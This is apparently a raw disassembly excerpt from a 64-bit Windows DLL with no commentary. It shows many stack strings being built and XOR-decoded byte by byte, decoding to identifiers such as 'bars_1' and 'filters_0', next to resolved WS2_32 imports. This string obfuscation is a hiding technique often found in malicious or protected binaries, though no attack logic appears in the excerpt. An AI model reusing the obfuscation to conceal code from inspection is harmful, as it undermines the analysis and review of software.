lea rcx, [rsp + 0x2d80]
call fcn.18000ce90
mov qword [rsp + 0x4238], rax
mov rdx, rax
lea rcx, [rsp + 0x5650]
call fcn.1800132b0
lea rdx, [0x1801eaeb1]
lea rcx, [rsp + 0x5670]
call fcn.1800ca0d0
movdqa xmm0, xmmword [0x1801b24a0]
movdqu xmmword [rsp + 0x1608], xmm0
mov byte [rsp + 0x1618], 3
mov byte [rsp + 0x1619], 0x32
mov byte [rsp + 0x161a], 0xb
mov byte [rsp + 0x161b], 0x1f
mov byte [rsp + 0x161c], 4
mov byte [rsp + 0x161d], 8
mov byte [rsp + 0x161e], 3
mov byte [rsp + 0x161f], 9
mov byte [rsp + 0x1620], 0x6d
movdqu xmmword [rsp + 0xf98], xmm0
mov dword [rsp + 0xfa8], 0x1f0b3203
mov dword [rsp + 0xfac], 0x9030804
mov byte [rsp + 0xfb0], 0x6d
lea rax, [rsp + 0xf98]
mov qword [rsp + 0x4230], rax
lea rcx, [rsp + 0x2f00]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x19]
lea rcx, [rsp + 0x2f00]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x110c], edi
cmp edi, 0x19
jge 0x18007856d
lea rax, [rsp + 0xf98]
mov qword [rsp + 0x4228], rax
movsxd rdx, edi
mov qword [rsp + 0x4220], rdx
cmp rdx, 0x19
jae 0x18008bc78
lea rax, [rsp + 0xf98]
add rax, rdx
mov qword [rsp + 0x4218], rax
movzx ebx, byte [rax]
xor bl, 0x6d
lea rcx, [rsp + 0x2f00]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x110c], edi
jmp 0x180078510
lea rax, [rsp + 0x2f00]
mov qword [rsp + 0x4210], rax
lea rcx, [rsp + 0x2f00]
call fcn.18000ce90
mov qword [rsp + 0x4208], rax
mov rdx, rax
lea rcx, [rsp + 0x5680]
call fcn.1800132b0
lea rdx, [0x1801eaec8]
lea rcx, [rsp + 0x56a0]
call fcn.1800ca0d0
movdqa xmm0, xmmword [0x1801b4170]
movdqu xmmword [rsp + 0x1460], xmm0
mov byte [rsp + 0x1470], 0x6d
mov byte [rsp + 0x1471], 0x76
mov byte [rsp + 0x1472], 0x77
mov byte [rsp + 0x1473], 0x46
mov byte [rsp + 0x1474], 0x7f
mov byte [rsp + 0x1475], 0x6b
mov byte [rsp + 0x1476], 0x70
mov byte [rsp + 0x1477], 0x7c
mov byte [rsp + 0x1478], 0x77
mov byte [rsp + 0x1479], 0x7d
mov byte [rsp + 0x147a], 0x19
movdqu xmmword [rsp + 0xf48], xmm0
mov dword [rsp + 0xf58], 0x4677766d
mov dword [rsp + 0xf5c], 0x7c706b7f
mov word [rsp + 0xf60], 0x7d77
mov byte [rsp + 0xf62], 0x19
lea rax, [rsp + 0xf48]
mov qword [rsp + 0x4200], rax
lea rcx, [rsp + 0x2f20]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1b]
lea rcx, [rsp + 0x2f20]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x1110], edi
nop word [rax + rax]
cmp edi, 0x1b
jge 0x1800786ed
lea rax, [rsp + 0xf48]
mov qword [rsp + 0x41f8], rax
movsxd rdx, edi
mov qword [rsp + 0x41f0], rdx
cmp rdx, 0x1b
jae 0x18008bc85
lea rax, [rsp + 0xf48]
add rax, rdx
mov qword [rsp + 0x41e8], rax
movzx ebx, byte [rax]
xor bl, 0x19
lea rcx, [rsp + 0x2f20]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x1110], edi
jmp 0x180078690
lea rax, [rsp + 0x2f20]
mov qword [rsp + 0x41e0], rax
lea rcx, [rsp + 0x2f20]
call fcn.18000ce90
mov qword [rsp + 0x41d8], rax
mov rdx, rax
lea rcx, [rsp + 0x56b0]
call fcn.1800132b0
lea rdx, [0x1801eae8d]
lea rcx, [rsp + 0x56d0]
call fcn.1800ca0d0
mov byte [rsp + 0xe50], 0x6a
mov byte [rsp + 0xe51], 0x69
mov byte [rsp + 0xe52], 0x7a
mov byte [rsp + 0xe53], 0x7b
mov byte [rsp + 0xe54], 0x57
mov byte [rsp + 0xe55], 0x39
mov byte [rsp + 0xe56], 8
mov dword [rsp + 0x3c], 0x7b7a696a
mov word [rsp + 0x40], 0x3957
mov byte [rsp + 0x42], 8
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x41d0], rax
lea rcx, [rsp + 0x2f40]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 7]
lea rcx, [rsp + 0x2f40]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x1114], edi
nop dword [rax]
cmp edi, 7
jge 0x180078817
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x41c8], rax
movsxd rdx, edi
mov qword [rsp + 0x41c0], rdx
cmp rdx, 7
jae 0x18008bc92
lea rax, [rsp + 0x3c]
add rax, rdx
mov qword [rsp + 0x41b8], rax
movzx ebx, byte [rax]
xor bl, 8
lea rcx, [rsp + 0x2f40]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x1114], edi
jmp 0x1800787c0
lea rax, [rsp + 0x2f40]
mov qword [rsp + 0x41b0], rax
lea rcx, [rsp + 0x2f40]
call fcn.18000ce90
mov qword [rsp + 0x41a8], rax
lea r15, [0x1801f3068]
mov qword [rsp + 0x41a0], r15
mov rbx, qword [0x1801f3068]
mov rcx, qword [0x1801f3070]
sub rcx, rbx
sar rcx, 4
test rcx, rcx
je 0x18008bc9c
mov qword [rsp + 0x4198], rbx
add rbx, 8
mov qword [rsp + 0x4190], rbx
mov rdx, rax
lea rcx, [rsp + 0x56e0]
call fcn.1800132b0
mov rdx, rbx
lea rcx, [rsp + 0x5700]
call fcn.1800ca0d0
mov byte [rsp + 0xe18], 0x28
mov byte [rsp + 0xe19], 0x27
mov byte [rsp + 0xe1a], 0x22
mov byte [rsp + 0xe1b], 0x3a
mov byte [rsp + 0xe1c], 0x2b
mov byte [rsp + 0xe1d], 0x3c
mov byte [rsp + 0xe1e], 0x3d
mov byte [rsp + 0xe1f], 0x11
mov byte [rsp + 0xe20], 0x7e
mov byte [rsp + 0xe21], 0x4e
mov dword [rsp + 0x68], 0x3a222728
mov dword [rsp + 0x6c], 0x113d3c2b
mov word [rsp + 0x70], 0x4e7e
lea rax, [rsp + 0x68]
mov qword [rsp + 0x4188], rax
lea rcx, [rsp + 0x2f60]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0xa]
lea rcx, [rsp + 0x2f60]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x1118], edi
nop dword [rax + rax]
cmp edi, 0xa
jge 0x180078997
lea rax, [rsp + 0x68]
mov qword [rsp + 0x4180], rax
movsxd rdx, edi
mov qword [rsp + 0x4178], rdx
cmp rdx, 0xa
jae 0x18008bca1
lea rax, [rsp + 0x68]
add rax, rdx
mov qword [rsp + 0x4170], rax
movzx ebx, byte [rax]
xor bl, 0x4e
lea rcx, [rsp + 0x2f60]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x1118], edi
jmp 0x180078940
lea rax, [rsp + 0x2f60]
mov qword [rsp + 0x4168], rax
lea rcx, [rsp + 0x2f60]
call fcn.18000ce90
mov qword [rsp + 0x4160], rax
lea rsi, [0x1801f3008]
mov qword [rsp + 0x4158], rsi
mov rbx, qword [0x1801f3008]
mov rcx, qword [0x1801f3010]
sub rcx, rbx
sar rcx, 4
test rcx, rcx
je 0x18008bcab
mov qword [rsp + 0x4150], rbx
add rbx, 8
mov qword [rsp + 0x4148], rbx
mov rdx, rax
lea rcx, [rsp + 0x5710]
call fcn.1800132b0
mov rdx, rbx
lea rcx, [rsp + 0x5730]
call fcn.1800ca0d0
mov byte [rsp + 0xe28], 0x16
mov byte [rsp + 0xe29], 0x19
mov byte [rsp + 0xe2a], 0x1c
mov byte [rsp + 0xe2b], 4
mov byte [rsp + 0xe2c], 0x15
mov byte [rsp + 0xe2d], 2
mov byte [rsp + 0xe2e], 3
mov byte [rsp + 0xe2f], 0x2f
mov byte [rsp + 0xe30], 0x41
mov byte [rsp + 0xe31], 0x70
mov dword [rsp + 0x58], 0x41c1916
mov dword [rsp + 0x5c], 0x2f030215
mov word [rsp + 0x60], 0x7041
lea rax, [rsp + 0x58]
mov qword [rsp + 0x4140], rax
lea rcx, [rsp + 0x2fa0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0xa]
lea rcx, [rsp + 0x2fa0]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x111c], edi
nop dword [rax + rax]
cmp edi, 0xa
jge 0x180078b17
lea rax, [rsp + 0x58]
mov qword [rsp + 0x4138], rax
movsxd rdx, edi
mov qword [rsp + 0x4130], rdx
cmp rdx, 0xa
jae 0x18008bcb0
lea rax, [rsp + 0x58]
add rax, rdx
mov qword [rsp + 0x4128], rax
movzx ebx, byte [rax]
xor bl, 0x70
lea rcx, [rsp + 0x2fa0]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x111c], edi
jmp 0x180078ac0
lea rax, [rsp + 0x2fa0]
mov qword [rsp + 0x4120], rax
lea rcx, [rsp + 0x2fa0]
call fcn.18000ce90
mov rdx, rax
mov qword [rsp + 0x4118], rax
mov qword [rsp + 0x4110], rsi
mov rax, qword [0x1801f3008]
mov rcx, qword [0x1801f3010]
sub rcx, rax
sar rcx, 4
cmp rcx, 1
jbe 0x18008bcba
add rax, 0x10
mov qword [rsp + 0x4108], rax
lea rbx, [rax + 8]
mov qword [rsp + 0x4100], rbx
lea rcx, [rsp + 0x5740]
call fcn.1800132b0
mov rdx, rbx
lea rcx, [rsp + 0x5760]
call fcn.1800ca0d0
mov byte [rsp + 0xe38], 0x23
mov byte [rsp + 0xe39], 0x2c
mov byte [rsp + 0xe3a], 0x29
mov byte [rsp + 0xe3b], 0x31
mov byte [rsp + 0xe3c], 0x20
mov byte [rsp + 0xe3d], 0x37
mov byte [rsp + 0xe3e], 0x36
mov byte [rsp + 0xe3f], 0x1a
mov byte [rsp + 0xe40], 0x77
mov byte [rsp + 0xe41], 0x45
mov dword [rsp + 0x48], 0x31292c23
mov dword [rsp + 0x4c], 0x1a363720
mov word [rsp + 0x50], 0x4577
lea rax, [rsp + 0x48]
mov qword [rsp + 0x40f8], rax
lea rcx, [rsp + 0x2fc0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0xa]
lea rcx, [rsp + 0x2fc0]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x1120], edi
nop dword [rax]
cmp edi, 0xa
jge 0x180078c97
lea rax, [rsp + 0x48]
mov qword [rsp + 0x40f0], rax
movsxd rdx, edi
mov qword [rsp + 0x40e8], rdx
cmp rdx, 0xa
jae 0x18008bcbf
lea rax, [rsp + 0x48]
add rax, rdx
mov qword [rsp + 0x40e0], rax
movzx ebx, byte [rax]
xor bl, 0x45
lea rcx, [rsp + 0x2fc0]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x1120], edi
jmp 0x180078c40
lea rax, [rsp + 0x2fc0]
mov qword [rsp + 0x40d8], rax
lea rcx, [rsp + 0x2fc0]
call fcn.18000ce90
mov rdx, rax
mov qword [rsp + 0x40d0], rax
mov qword [rsp + 0x40c8], rsi
mov rax, qword [0x1801f3008]
mov rcx, qword [0x1801f3010]
sub rcx, rax
sar rcx, 4
cmp rcx, 2
jbe 0x18008bcc9
add rax, 0x20
mov qword [rsp + 0x40c0], rax
lea rbx, [rax + 8]
mov qword [rsp + 0x40b8], rbx
lea rcx, [rsp + 0x5770]
call fcn.1800132b0
mov rdx, rbx
lea rcx, [rsp + 0x5790]
call fcn.1800ca0d0
mov byte [rsp + 0xe48], 0x4f
mov byte [rsp + 0xe49], 0x4c
mov byte [rsp + 0xe4a], 0x5f
mov byte [rsp + 0xe4b], 0x5e
mov byte [rsp + 0xe4c], 0x72
mov byte [rsp + 0xe4d], 0x1f
mov byte [rsp + 0xe4e], 0x2d
mov dword [rsp + 0x34], 0x5e5f4c4f
mov word [rsp + 0x38], 0x1f72
mov byte [rsp + 0x3a], reloc.WLDAP32.dll_Ordinal_45
lea rax, [rsp + 0x34]
mov qword [rsp + 0x40b0], rax
lea rcx, [rsp + 0x2ac0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 7]
lea rcx, [rsp + 0x2ac0]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x12c0], edi
nop
cmp edi, 7
jge 0x180078df7
lea rax, [rsp + 0x34]
mov qword [rsp + 0x40a8], rax
movsxd rdx, edi
mov qword [rsp + 0x40a0], rdx
cmp rdx, 7
jae 0x18008bcce
lea rax, [rsp + 0x34]
add rax, rdx
mov qword [rsp + 0x4098], rax
movzx ebx, byte [rax]
xor bl, 0x2d
lea rcx, [rsp + 0x2ac0]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x12c0], edi
jmp 0x180078da0
lea rax, [rsp + 0x2ac0]
mov qword [rsp + 0x4090], rax
lea rcx, [rsp + 0x2ac0]
call fcn.18000ce90
mov rdx, rax
mov qword [rsp + 0x4088], rax
mov qword [rsp + 0x4080], r15
mov rax, qword [0x1801f3068]
mov rcx, qword [0x1801f3070]
sub rcx, rax
sar rcx, 4
cmp rcx, 1
jbe 0x18008bcd8
add rax, 0x10
mov qword [rsp + 0x4078], rax
lea rbx, [rax + 8]
mov qword [rsp + 0x4070], rbx
lea rcx, [rsp + 0x57a0]
call fcn.1800132b0
mov rdx, rbx
lea rcx, [rsp + 0x57c0]
call fcn.1800ca0d0
movdqa xmm0, xmmword [0x1801b33d0]
movdqu xmmword [rsp + 0x20d8], xmm0
mov byte [rsp + 0x20e8], 0x6b
mov byte [rsp + 0x20e9], 0x6f
mov byte [rsp + 0x20ea], 0x71
mov byte [rsp + 0x20eb], 0x75
mov byte [rsp + 0x20ec], 0x18
movdqu xmmword [rsp + 0x13a0], xmm0
mov dword [rsp + 0x13b0], 0x75716f6b
mov byte [rsp + 0x13b4], 0x18
lea rax, [rsp + 0x13a0]
mov qword [rsp + 0x4e60], rax
lea rcx, [rsp + 0x2d40]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x15]
lea rcx, [rsp + 0x2d40]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x1124], edi
nop word [rax + rax]
cmp edi, 0x15
jge 0x180078f6d
lea rax, [rsp + 0x13a0]
mov qword [rsp + 0x4e58], rax
movsxd rdx, edi
mov qword [rsp + 0x4e50], rdx
cmp rdx, 0x15
jae 0x18008bcdd
lea rax, [rsp + 0x13a0]
add rax, rdx
mov qword [rsp + 0x4e48], rax
movzx ebx, byte [rax]
xor bl, 0x18
lea rcx, [rsp + 0x2d40]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x1124], edi
jmp 0x180078f10
lea rax, [rsp + 0x2d40]
mov qword [rsp + 0x4e40], rax
lea rcx, [rsp + 0x2d40]
call fcn.18000ce90
mov qword [rsp + 0x4e38], rax
mov rdx, rax
lea rcx, [rsp + 0x57d0]
call fcn.1800132b0
lea rdx, [0x1801eae9b]
lea rcx, [rsp + 0x57f0]
call fcn.1800ca0d0
movdqa xmm0, xmmword [0x1801b3f80]
movdqu xmmword [rsp + 0x24e8], xmm0
mov byte [rsp + 0x24f8], 0x4c
mov byte [rsp + 0x24f9], 0x40
mov byte [rsp + 0x24fa], 0x59
mov byte [rsp + 0x24fb], 0x2d
movdqu xmmword [rsp + 0x1430], xmm0
mov dword [rsp + 0x1440], 0x2d59404c
lea rax, [rsp + 0x1430]
mov qword [rsp + 0x4e30], rax
lea rcx, [rsp + 0x2d60]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x14]
lea rcx, [rsp + 0x2d60]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x1128], edi
cmp edi, 0x14
jge 0x180079092
lea rax, [rsp + 0x1430]
mov qword [rsp + 0x4e28], rax
movsxd rdx, edi
mov qword [rsp + 0x4e20], rdx
cmp rdx, 0x14
jae 0x18008bcea
lea rax, [rsp + 0x1430]
add rax, rdx
mov qword [rsp + 0x4e18], rax
movzx ebx, byte [rax]
xor bl, 0x2d
lea rcx, [rsp + 0x2d60]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x1128], edi
jmp 0x180079035
lea rax, [rsp + 0x2d60]
mov qword [rsp + 0x4e10], rax
lea rcx, [rsp + 0x2d60]
call fcn.18000ce90
mov qword [rsp + 0x4e08], rax
mov rdx, rax
lea rcx, [rsp + 0x5800]
call fcn.1800132b0
lea rdx, [0x1801d1ad0]
lea rcx, [rsp + 0x5820]
call fcn.1800ca0f0
movdqa xmm0, xmmword [0x1801b2c10]
movdqu xmmword [rsp + 0x2080], xmm0
mov byte [rsp + 0x2090], 0x1c
mov byte [rsp + 0x2091], 0x22
mov byte [rsp + 0x2092], 0x2e
mov byte [rsp + 0x2093], 0x37
mov byte [rsp + 0x2094], 0x43
movdqu xmmword [rsp + 0x1388], xmm0
mov dword [rsp + 0x1398], 0x372e221c
mov byte [rsp + 0x139c], 0x43
lea rax, [rsp + 0x1388]
mov qword [rsp + 0x4df8], rax
lea rcx, [rsp + 0x2aa0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x15]
lea rcx, [rsp + 0x2aa0]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x112c], edi
nop word [rax + rax]
cmp edi, 0x15
jge 0x1800791cd
lea rax, [rsp + 0x1388]
mov qword [rsp + 0x4df0], rax
movsxd rdx, edi
mov qword [rsp + 0x4de8], rdx
cmp rdx, 0x15
jae 0x18008bcf7
lea rax, [rsp + 0x1388]
add rax, rdx
mov qword [rsp + 0x4de0], rax
movzx ebx, byte [rax]
xor bl, 0x43
lea rcx, [rsp + 0x2aa0]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x112c], edi
jmp 0x180079170
lea rax, [rsp + 0x2aa0]
mov qword [rsp + 0x4dd8], rax
lea rcx, [rsp + 0x2aa0]
call fcn.18000ce90
mov qword [rsp + 0x4dd0], rax
mov rdx, rax
lea rcx, [rsp + 0x5830]
call fcn.1800132b0
lea rdx, [0x1801d1afc]
lea rcx, [rsp + 0x5850]
call fcn.1800ca0f0
movdqa xmm0, xmmword [0x1801b25a0]
movdqu xmmword [rsp + 0x1750], xmm0
mov byte [rsp + 0x1760], 8
mov byte [rsp + 0x1761], 8
mov byte [rsp + 0x1762], 0xd
mov byte [rsp + 0x1763], 0x17
mov byte [rsp + 0x1764], 0xd
mov byte [rsp + 0x1765], 0xb
mov byte [rsp + 0x1766], 0xa
mov byte [rsp + 0x1767], 0x64
movdqu xmmword [rsp + 0xff8], xmm0
mov dword [rsp + 0x1008], 0x170d0808
mov dword [rsp + 0x100c], 0x640a0b0d
lea rax, [rsp + 0xff8]
mov qword [rsp + 0x4dc8], rax
lea rcx, [rsp + 0x2dc0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x18]
lea rcx, [rsp + 0x2dc0]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x1130], edi
cmp edi, 0x18
jge 0x18007931d
lea rax, [rsp + 0xff8]
mov qword [rsp + 0x4dc0], rax
movsxd rdx, edi
mov qword [rsp + 0x4db8], rdx
cmp rdx, 0x18
jae 0x18008bd04
lea rax, [rsp + 0xff8]
add rax, rdx
mov qword [rsp + 0x4db0], rax
movzx ebx, byte [rax]
xor bl, 0x64
lea rcx, [rsp + 0x2dc0]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x1130], edi
jmp 0x1800792c0
lea rax, [rsp + 0x2dc0]
mov qword [rsp + 0x4da8], rax
lea rcx, [rsp + 0x2dc0]
call fcn.18000ce90
mov qword [rsp + 0x4da0], rax
mov rdx, rax
lea rcx, [rsp + 0x5860]
call fcn.1800132b0
lea rdx, [0x1801eae99]
lea rcx, [rsp + 0x5880]
call fcn.1800ca0d0
movdqa xmm0, xmmword [0x1801b3c90]
movdqu xmmword [rsp + 0x1e00], xmm0
mov byte [rsp + 0x1e10], 0x57
mov byte [rsp + 0x1e11], 0x69
mov byte [rsp + 0x1e12], 0x65
mov byte [rsp + 0x1e13], 0x65
mov byte [rsp + 0x1e14], 0x67
mov byte [rsp + 0x1e15], 8
movdqu xmmword [rsp + 0x12a8], xmm0
mov dword [rsp + 0x12b8], 0x65656957
mov word [rsp + 0x12bc], 0x867
lea rax, [rsp + 0x12a8]
mov qword [rsp + 0x4d98], rax
lea rcx, [rsp + 0x2de0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x16]
lea rcx, [rsp + 0x2de0]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x1134], edi
nop
cmp edi, 0x16
jge 0x18007945d
lea rax, [rsp + 0x12a8]
mov qword [rsp + 0x4d90], rax
movsxd rdx, edi
mov qword [rsp + 0x4d68], rdx
cmp rdx, 0x16
jae 0x18008bd11
lea rax, [rsp + 0x12a8]
add rax, rdx
mov qword [rsp + 0x4d60], rax
movzx ebx, byte [rax]
xor bl, 8
lea rcx, [rsp + 0x2de0]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x1134], edi
jmp 0x180079400
lea rax, [rsp + 0x2de0]
mov qword [rsp + 0x4d58], rax
lea rcx, [rsp + 0x2de0]
call fcn.18000ce90
mov qword [rsp + 0x4d50], rax
mov rdx, rax
lea rcx, [rsp + 0x5890]
call fcn.1800132b0
lea rdx, [0x1801eaec9]
lea rcx, [rsp + 0x58b0]
call fcn.1800ca0d0
movdqa xmm0, xmmword [0x1801b3c60]
movdqu xmmword [rsp + 0x1628], xmm0
mov byte [rsp + 0x1638], 0x64
mov byte [rsp + 0x1639], 0x73
mov byte [rsp + 0x163a], 0x5e
mov byte [rsp + 0x163b], 0x65
mov byte [rsp + 0x163c], 0x64
mov byte [rsp + 0x163d], 0x6d
mov byte [rsp + 0x163e], 0x60
mov byte [rsp + 0x163f], 0x78
mov byte [rsp + 0x1640], 1
movdqu xmmword [rsp + 0xfd8], xmm0
mov dword [rsp + 0xfe8], 0x655e7364
mov dword [rsp + 0xfec], 0x78606d64
mov byte [rsp + 0xff0], 1
lea rax, [rsp + 0xfd8]
mov qword [rsp + 0x4d48], rax
lea rcx, [rsp + 0x2e00]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x19]
lea rcx, [rsp + 0x2e00]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x1138], edi
cmp edi, 0x19
jge 0x1800795bd
lea rax, [rsp + 0xfd8]
mov qword [rsp + 0x4d40], rax
movsxd rdx, edi
mov qword [rsp + 0x4d38], rdx
cmp rdx, 0x19
jae 0x18008bd1e
lea rax, [rsp + 0xfd8]
add rax, rdx
mov qword [rsp + 0x4d30], rax
movzx ebx, byte [rax]
xor bl, 1
lea rcx, [rsp + 0x2e00]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x1138], edi
jmp 0x180079560
lea rax, [rsp + 0x2e00]
mov qword [rsp + 0x4d28], rax
lea rcx, [rsp + 0x2e00]
call fcn.18000ce90
mov qword [rsp + 0x4d20], rax
mov rdx, rax
lea rcx, [rsp + 0x58c0]
call fcn.1800132b0
lea rdx, [0x1801eae7c]
lea rcx, [rsp + 0x58e0]
call fcn.1800ca0f0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1700], xmm0
mov dword [rsp + 0x1710], eax
mov byte [rsp + 0x1714], al
mov cl, 0x63
call fcn.1800bfe10
mov byte [rsp + 0x9d8], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe10
mov byte [rsp + 0x9d9], al
mov cl, 0x78
call fcn.1800bfe10
mov byte [rsp + 0x9da], al
mov cl, 0x3a
call fcn.1800bfe10
mov byte [rsp + 0x9db], al
mov cl, 0x3a
call fcn.1800bfe10
mov byte [rsp + 0x9dc], al
mov cl, 0x76
call fcn.1800bfe10
mov byte [rsp + 0x9dd], al
mov cl, 0x61
call fcn.1800bfe10
mov byte [rsp + 0x9de], al
mov cl, WSAStartup
call fcn.1800bfe10
mov byte [rsp + 0x9df], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe10
mov byte [rsp + 0x9e0], al
mov cl, 0x3a
call fcn.1800bfe10
mov byte [rsp + 0x9e1], al
mov cl, 0x3a
call fcn.1800bfe10
mov byte [rsp + 0x9e2], al
mov cl, 0x61
call fcn.1800bfe10
mov byte [rsp + 0x9e3], al
mov cl, 0x6c
call fcn.1800bfe10
mov byte [rsp + 0x9e4], al
mov cl, 0x77
call fcn.1800bfe10
mov byte [rsp + 0x9e5], al
mov cl, 0x61
call fcn.1800bfe10
mov byte [rsp + 0x9e6], al
mov cl, 0x79
call fcn.1800bfe10
mov byte [rsp + 0x9e7], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe10
mov byte [rsp + 0x9e8], al
mov cl, 0x5f
call fcn.1800bfe10
mov byte [rsp + 0x9e9], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfe10
mov byte [rsp + 0x9ea], al
mov cl, WSAGetLastError
call fcn.1800bfe10
mov byte [rsp + 0x9eb], al
xor ecx, ecx
call fcn.1800bfe10
mov byte [rsp + 0x9ec], al
movups xmm0, xmmword [rsp + 0x9d8]
movups xmmword [rsp + 0x1700], xmm0
mov ecx, dword [rsp + 0x9e8]
mov dword [rsp + 0x1710], ecx
mov byte [rsp + 0x1714], al
lea rax, [rsp + 0x1700]
mov qword [rsp + 0x4d18], rax
lea rcx, [rsp + 0x3cb0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x15]
lea rcx, [rsp + 0x3cb0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x113c], esi
cmp esi, 0x15
jge 0x1800797e6
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1700]
call fcn.1800c0a50
movzx ecx, byte [rax]
call fcn.1800bfe10
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3cb0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x113c], esi
jmp 0x1800797a6
lea rcx, [rsp + 0x3cb0]
call fcn.18000ce90
mov qword [rsp + 0x2670], rax
lea r8, [0x1801eaebb]
lea rdx, [rsp + 0x2670]
lea rcx, [rsp + 0x58f0]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1eb0], xmm0
mov qword [rsp + 0x1ec0], rax
mov word [rsp + 0x1ec8], ax
mov cl, 0x63
call fcn.1800c0030
mov byte [rsp + 0x550], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800c0030
mov byte [rsp + 0x551], al
mov cl, 0x78
call fcn.1800c0030
mov byte [rsp + 0x552], al
mov cl, 0x3a
call fcn.1800c0030
mov byte [rsp + 0x553], al
mov cl, 0x3a
call fcn.1800c0030
mov byte [rsp + 0x554], al
mov cl, 0x76
call fcn.1800c0030
mov byte [rsp + 0x555], al
mov cl, 0x61
call fcn.1800c0030
mov byte [rsp + 0x556], al
mov cl, WSAStartup
call fcn.1800c0030
mov byte [rsp + 0x557], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800c0030
mov byte [rsp + 0x558], al
mov cl, 0x3a
call fcn.1800c0030
mov byte [rsp + 0x559], al
mov cl, 0x3a
call fcn.1800c0030
mov byte [rsp + 0x55a], al
mov cl, 0x65
call fcn.1800c0030
mov byte [rsp + 0x55b], al
mov cl, 0x78
call fcn.1800c0030
mov byte [rsp + 0x55c], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800c0030
mov byte [rsp + 0x55d], al
mov cl, 0x6c
call fcn.1800c0030
mov byte [rsp + 0x55e], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800c0030
mov byte [rsp + 0x55f], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800c0030
mov byte [rsp + 0x560], al
mov cl, 0x69
call fcn.1800c0030
mov byte [rsp + 0x561], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800c0030
mov byte [rsp + 0x562], al
mov cl, WSAGetLastError
call fcn.1800c0030
mov byte [rsp + 0x563], al
mov cl, 0x5f
call fcn.1800c0030
mov byte [rsp + 0x564], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800c0030
mov byte [rsp + 0x565], al
mov cl, 0x79
call fcn.1800c0030
mov byte [rsp + 0x566], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800c0030
mov byte [rsp + 0x567], al
mov cl, 0x65
call fcn.1800c0030
mov byte [rsp + 0x568], al
xor ecx, ecx
call fcn.1800c0030
mov byte [rsp + 0x569], al
movups xmm0, xmmword [rsp + 0x550]
movups xmmword [rsp + 0x1eb0], xmm0
movsd xmm1, qword [rsp + 0x560]
movsd qword [rsp + 0x1ec0], xmm1
movzx eax, word [rsp + 0x568]
mov word [rsp + 0x1ec8], ax
lea rax, [rsp + 0x1eb0]
mov qword [rsp + 0x4d10], rax
lea rcx, [rsp + 0x3c90]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1a]
lea rcx, [rsp + 0x3c90]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1354], esi
nop dword [rax]
cmp esi, 0x1a
jge 0x180079a50
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1eb0]
call fcn.1800c0990
movzx ecx, byte [rax]
call fcn.1800c0030
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3c90]
call fcn.1800be930
mov byte [rax], bl
